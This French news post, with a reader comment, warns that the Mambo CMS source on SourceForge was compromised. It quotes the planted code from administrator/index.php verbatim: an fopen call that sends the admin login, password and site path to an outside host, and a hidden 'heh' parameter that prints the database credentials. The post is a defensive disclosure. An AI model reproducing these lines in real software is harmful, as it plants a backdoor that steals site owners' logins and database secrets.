News
|
dimanche 14 décembre | Mambo compromised [updated] ?
Source: N/A ¬ 9006 affichages
Bonjour,
Connaissez-vous le CMS "Mambo" ?
Il est disponible sur http://www.mamboserver.com/.
[UPDATE] : La communauté de développement de mambo open source n'est pas malhonnête, il s'agissait d'un piratage des sources sur Sourceforge.
Ce problème a été résolu rapidement (en moins de 4 jours à l'époque), il fait partie maintenant des archives.
La communauté mambo avait à l'époque publié une news pour avertir ces membres et demander à tout le monde de retélécharger les sources ou de modifier le code sur les lignes modifiées par le pirate.
Voici les details des changements opérés :
Prenez le fichier "index.php" se trouvant de le répertoire "administrator".
Allez voir à la ligne 53... on a, oh surprise :
$ho = fopen ("http://www.pmrepuestos.com/jol.php?u=$ads&p=$sda&s=$live_site", "r");
Notez que :
$ads est le login que vous entrez lors de votre connexion.
$sda est le mot de passe.
$live_site est le chemin absolu de votre site Web.
Autrement dit, si vous êtes en ligne et que vous vous connectez à votre portail, et bien votre login et mot de passe sont transmis à je ne sais qui.
Pire encore : allez maintenant à la ligne 127 de ce même fichier...
Voici ce que vous y trouverez :
if ($_GET['heh']){
echo "$host, $db, $user, $password";
}
Bien entendu, $host, $db, $user, $password sont les coordonnées de connexion à votre base de donnée.
Olivier Bichler ± Actualité des CMS
|
Ajouter un commentaire
|
Vos commentaires
|
» --> Piratage par Olivier Bichler
lundi 14 juillet
Bonjour,
Il s'avère en fait que Mambo a été victime d'un piratage (leur source en téléchargement sur SourceForge a été modifié).
Pour tous ceux qui ont téléchargé Mambo ces 5 derniers jours, je vous invite à télécharger la nouvelle version, qui corrige le piratage et inclue en plus les derniers patchs disponibles...
Cordialement, Olivier
|
|
|
